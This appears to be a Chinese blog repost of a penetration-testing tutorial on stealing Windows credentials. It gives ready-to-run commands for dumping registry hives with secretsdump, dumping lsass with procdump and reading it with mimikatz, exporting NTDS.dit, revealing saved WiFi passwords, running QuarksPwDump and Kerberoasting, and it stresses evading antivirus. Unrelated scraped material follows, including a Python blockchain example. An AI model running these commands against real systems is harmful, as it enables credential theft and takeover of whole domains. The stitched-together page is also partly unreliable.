内网渗透总结二:第二步管理员密码的明文和hash获取

文章出处:奇安信攻防社区-内网渗透-获取明文和hash (butian.net)

内网渗透-获取明文和hash

前言

在内网渗透中,获取用户账户的明文或hash至关重要,接下来我将详细介绍如何获取明文和hash。

利用secretsdump获取明文密码

SAM简介
SAM(安全账户管理器),SAM存放在注册表中,SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)和NTLMHash(长度32bit由字母数字组成),现在用户凭证是以NTLM HASH形式保存。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密,接下来将对sam进行利用。

**使用该方法的好处:**可以不用在目标主机上上传任何的文件,只需要将湖区的文件导出到自己本机进行处理,可以绕过防护软件。

首先利用注册表命令将目标机的sam、security、system文件导出。

reg save hklm\sam C:\sam.save
reg save hklm\security C:\security.save
reg save hklm\system C:\system.save

将文件拷贝到我们自己的主机,这样可以不用在目标机上使用工具包,不用考虑免杀和环境问题,因为以上命令都是系统自带,使用secretsdump需要在python环境下,用impacket的 secretsdump脚本加载,在运行脚本时,需要将这些文件全部放在同一目录。并且需要先安装impacket模块,Python脚本才能正确运行。
secretsdum下载地址:百度网盘 请输入提取码
提取码:4534

secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
可以观察到各种都密码显示出来了

当然也可以使用mimikatz显示hash,这个只能显示部分hash。

利用Procdump+mimikatz配合获取hash与明文

Procdump是微软官方发布的工具,使用该工具可以绕过大多数的防护软件,procdump.exe把进程lsass.exe 的内存dump下来,将获取的lsass.dmp拷贝到本机上,再使用本机的mimikatz获取hash与明文
下载地址:
ProcDump - Windows Sysinternals | Microsoft Docs

进程lsass.exe中存在密码信息,使用Procdump获取lsass.exe中的信息
procdump -accepteula -ma lsass.exe lsass.dmp

将lsass.dmp导出到本机后,使用mimikatz获取明文密码,这样就可以不用将mimikatz传入到目标机中,可以防止mimikatz被杀的可能性。

privilege::debug  提升权限
sekurlsa::minidump lsass.dmp 用mimikatz载入lsass.dmp
sekurlsa::logonPasswords full   获取明文密码和hash

NTDS.dit获取域控hash

Windows系统为了保证用户明文密码不会被泄漏,将密码转换为HASH值进行身份验证,被保存在SAM或者ntds.dit中(mimitakz,procdump等等),域中的所有账号密码存放在Ntds.dit,如果拿到,相当于拿到整个域权限。这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。使用该方法不用担心被杀毒软件查杀,因为不需要上传任何工具去目标机上。
手动导出NTDS.dit和System,放在c:\users\tmp目录下
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

提取用户hash,这里推荐使用NTDSDumpEx:
下载地址:Releases · zcgonvh/NTDSDumpEx · GitHub

NTDSDumpEx -d ntds.dit -s system -o domain.txt 获取hash,并且保存在domain.txt文件中

利用系统自带命令获取WIFI密码

使用系统自带命令不用担心被杀毒软件查杀
netsh wlan show profiles 系统命令获取登录过的WiFi名称

获取TP-LINK_5358中的WiFi密码
netsh wlan show profile name="TP-LINK_5358" key=clear

获取所有连接过的wifi密码:

for /f  "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles')  do  @echo %j | findstr -i -v echo |  netsh wlan show profiles %j key=clear

利用WCE获取hash

Quarks PwDump 是开放源代码的 Windows 用户获取工具,这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。但使用Quarks PwDump有可能被查杀,因为毕竟不是微软官方的工具,并且需要powershell环境。
下载地址:百度网盘 请输入提取码
提取码:dzgw
http://code.google.com/p/quarkspwdump/(需要翻墙下载

QuarksPwDump -h 查看选项

QuarksPwDump -dhl 获取本地的hash

QuarksPwDump -dhdc 获取域内的hash值

利用kerberoast+mimikatz配合获取明文密码

SPN(服务主体名service principal name)是微软为了在域环境中方便管理资源而为每种资源分配设计的一种表示方法(或者说SPN是使用Kerberos身份验证的网络中唯一的标识符),凡是使用Kerberos身份验证的网络中,都必须在机器账号或用户账号下为服务注册SPN(每个使用Kerberos的服务都需要一个SPN)在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。
使用该方法有两个缺点:1.需要powershell 2.mimikatz容易被杀毒软件查杀
查看指定域ROOTKIT.ORG注册的SPN:setspn -T ROOTKIT.ORG -Q */* 如果指定域不存在,则默认切换到查找本域的SPN

Setspn -q */* 获取所有服务

这里搜索MSSQL服务
Setspn -q */* | findstr "MSSQL"

将票据导出
kerberos::list /export

查看所有的票据

kerberoast下载地址:GitHub - nidem/kerberoast
在运行时需要在python3以上的环境运行,不然会报错
爆破出密码

  • 1
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
先看简介 Quarks PwDump是一个Win32环境下系统授权信息导出工具,目前除此之外还木有没有任何一款工具可以导出如此全面的信息,支持这么多的OS版本,(包括xP/2003/Vista/7/2008/8),经测试相当稳定。作者开发这个工具的原因是现在没有一款工具能同时抓取所有类型的hash和Bitlocker信息。这个工具没有注入任何进程,工作原理是神马呢,源代码值得读一下。 源地址在这:http://code.google.com/p/quarkspwdump/ 可以导出 : - Local accounts NT/LM hashes + history 本地NT/LM哈希+历史登录记录 - Domain accounts NT/LM hashes + history 域中NT/LM哈希+历史登录记录 - Cached domain password 缓存里的域密码 - Bitlocker recovery information (recovery passwords & key packages) 使用了Bitlocker的恢复信息(恢复密码&关键包) 用法参考说明如下: quarks-pwdump.exe Options :参数 –dump-hash-local /*Dump出本机HASH*/ -dump-hash-domain-cached /*Dump出域内缓存的Hash*/ -dump-hash-domain (NTDS_FILE must be specified) /*Dump出域内的Hash,NTDS_FILE必须被指定*/ –dump-bitlocker (NTDS_FILE must be specified) /*Dump出BitLocker遗留信息*/ –with-history (optional) -output-type JOHN/LC (optional, if no=>JOHN) /*导出为Lc4或John The Ripper支持的格式*/ –output FILE (optional, if no=>stdout) /*导出结果到文件*/ 木有其他系统 请大家另行测试。 如需导出可以 C:\>quarkspwdump --dump-hash-local --output c:\xxxxx C:\>quarkspwdump --dump-hash-local --output-type LC --output c:\xxxxx
好的,以下是使用Python和SHA-256哈希算法实现一个简单的区块链系统的代码: ```python import hashlib import datetime class Block: def __init__(self, data, previous_hash): self.timestamp = datetime.datetime.now() self.data = data self.previous_hash = previous_hash self.hash = self.calculate_hash() def calculate_hash(self): block_contents = str(self.timestamp) + str(self.data) + str(self.previous_hash) block_hash = hashlib.sha256(block_contents.encode()).hexdigest() return block_hash class Blockchain: def __init__(self): self.chain = [self.create_genesis_block()] def create_genesis_block(self): return Block("Genesis Block", "0") def add_block(self, data): previous_hash = self.chain[-1].hash new_block = Block(data, previous_hash) self.chain.append(new_block) def is_valid(self): for i in range(1, len(self.chain)): current_block = self.chain[i] previous_block = self.chain[i-1] if current_block.hash != current_block.calculate_hash(): return False if current_block.previous_hash != previous_block.hash: return False return True ``` 上面的代码定义了一个`Block`类和一个`Blockchain`类。`Block`类用于表示区块,包含数据、时间戳、前一个区块的哈希值和当前区块的哈希值。`Blockchain`类用于管理区块链,包含一个区块链列表和添加区块、验证区块链等方法。 现在,我们可以创建一个区块链实例并添加一些区块: ```python blockchain = Blockchain() blockchain.add_block("This is block 1") blockchain.add_block("This is block 2") blockchain.add_block("This is block 3") ``` 每个区块的哈希值都是通过SHA-256哈希算法计算得出的,可以通过调用`calculate_hash()`方法来计算。验证区块链是否有效可以调用`is_valid()`方法,它会检查每个区块的哈希值和前一个区块的哈希值是否匹配。 ```python print("Blockchain is valid:", blockchain.is_valid()) ``` 输出: ``` Blockchain is valid: True ``` 现在,我们可以尝试篡改区块链,看看是否能够成功: ```python blockchain.chain[1].data = "This is block 1 - modified" ``` 这里将第个区块的数据修改了一下。再次验证区块链是否有效: ```python print("Blockchain is valid:", blockchain.is_valid()) ``` 输出: ``` Blockchain is valid: False ``` 可以看到,现在区块链已经失效了,因为第个区块的哈希值已经发生了改变。 这就是使用Python和SHA-256哈希算法实现一个简单的区块链系统的方法。当然,这只是一个简单的示例,实际的区块链系统还需要进行更多的优化和改进。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值